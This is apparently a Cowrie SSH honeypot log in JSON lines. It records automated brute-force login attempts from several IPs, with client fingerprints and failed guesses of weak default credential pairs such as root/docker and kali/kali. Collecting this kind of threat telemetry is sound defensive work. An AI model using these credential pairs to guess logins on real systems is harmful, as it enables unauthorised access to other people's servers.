{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:19.946284Z","src_ip":"125.94.107.91","session":"2670ea031f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:20.141929Z","src_ip":"213.209.159.56","session":"3bad2a953b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:20.189080Z","src_ip":"125.94.107.91","session":"2670ea031f96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54342,"dst_ip":"10.17.0.5","dst_port":22,"session":"344cee0625ea","protocol":"ssh","message":"New connection: 193.151.144.93:54342 (10.17.0.5:22) [session: 344cee0625ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:20.653561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:20.658432Z","src_ip":"193.151.144.93","session":"344cee0625ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:20.828445Z","src_ip":"193.151.144.93","session":"344cee0625ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:20.903564Z","src_ip":"125.94.107.91","session":"2670ea031f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:21.338033Z","src_ip":"193.151.144.93","session":"344cee0625ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:22.139847Z","src_ip":"125.94.107.91","session":"2670ea031f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:22.942653Z","src_ip":"193.151.144.93","session":"344cee0625ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":36196,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d34d5f41145","protocol":"ssh","message":"New connection: 125.94.107.91:36196 (159.203.135.109:22) [session: 7d34d5f41145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:23.402355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:23.407176Z","src_ip":"125.94.107.91","session":"7d34d5f41145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:23.644480Z","src_ip":"125.94.107.91","session":"7d34d5f41145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:25.674575Z","src_ip":"125.94.107.91","session":"7d34d5f41145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54350,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d334c5b302f","protocol":"ssh","message":"New connection: 193.151.144.93:54350 (10.17.0.5:22) [session: 4d334c5b302f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:25.829004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:25.834247Z","src_ip":"193.151.144.93","session":"4d334c5b302f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:26.001497Z","src_ip":"193.151.144.93","session":"4d334c5b302f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"practicas","password":"practicas","message":"login attempt [practicas/practicas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:26.205070Z","src_ip":"20.6.35.235","session":"fb175ab96b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:26.513057Z","src_ip":"193.151.144.93","session":"4d334c5b302f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:26.913332Z","src_ip":"125.94.107.91","session":"7d34d5f41145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":39774,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eb7129d41da","protocol":"ssh","message":"New connection: 125.94.107.91:39774 (159.203.135.109:22) [session: 3eb7129d41da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:27.159126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:27.163618Z","src_ip":"125.94.107.91","session":"3eb7129d41da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:27.407303Z","src_ip":"125.94.107.91","session":"3eb7129d41da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:28.147286Z","src_ip":"125.94.107.91","session":"3eb7129d41da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:28.457872Z","src_ip":"20.6.35.235","session":"fb175ab96b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:29.338306Z","src_ip":"193.151.144.93","session":"4d334c5b302f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:29.397986Z","src_ip":"125.94.107.91","session":"3eb7129d41da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":41524,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cc08555d052","protocol":"ssh","message":"New connection: 125.94.107.91:41524 (159.203.135.109:22) [session: 5cc08555d052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:29.639302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:29.644504Z","src_ip":"125.94.107.91","session":"5cc08555d052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:29.889614Z","src_ip":"125.94.107.91","session":"5cc08555d052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47692,"dst_ip":"10.17.0.5","dst_port":22,"session":"9019e3e20898","protocol":"ssh","message":"New connection: 193.151.144.93:47692 (10.17.0.5:22) [session: 9019e3e20898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:31.201736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:31.207220Z","src_ip":"193.151.144.93","session":"9019e3e20898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:31.320956Z","src_ip":"125.94.107.91","session":"5cc08555d052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:31.368134Z","src_ip":"193.151.144.93","session":"9019e3e20898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:31.940372Z","src_ip":"193.151.144.93","session":"9019e3e20898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:32.568352Z","src_ip":"125.94.107.91","session":"5cc08555d052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":43868,"dst_ip":"159.203.135.109","dst_port":22,"session":"289af861c6ba","protocol":"ssh","message":"New connection: 125.94.107.91:43868 (159.203.135.109:22) [session: 289af861c6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:32.793680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:32.799083Z","src_ip":"125.94.107.91","session":"289af861c6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:33.039045Z","src_ip":"125.94.107.91","session":"289af861c6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:33.529343Z","src_ip":"193.151.144.93","session":"9019e3e20898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:33.750026Z","src_ip":"125.94.107.91","session":"289af861c6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:34.990186Z","src_ip":"125.94.107.91","session":"289af861c6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":45810,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fb1425d4e0c","protocol":"ssh","message":"New connection: 125.94.107.91:45810 (159.203.135.109:22) [session: 1fb1425d4e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:35.223293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:35.228609Z","src_ip":"125.94.107.91","session":"1fb1425d4e0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:35.466439Z","src_ip":"125.94.107.91","session":"1fb1425d4e0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:36.179136Z","src_ip":"125.94.107.91","session":"1fb1425d4e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47698,"dst_ip":"10.17.0.5","dst_port":22,"session":"32d8743c7135","protocol":"ssh","message":"New connection: 193.151.144.93:47698 (10.17.0.5:22) [session: 32d8743c7135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:36.654675Z"}
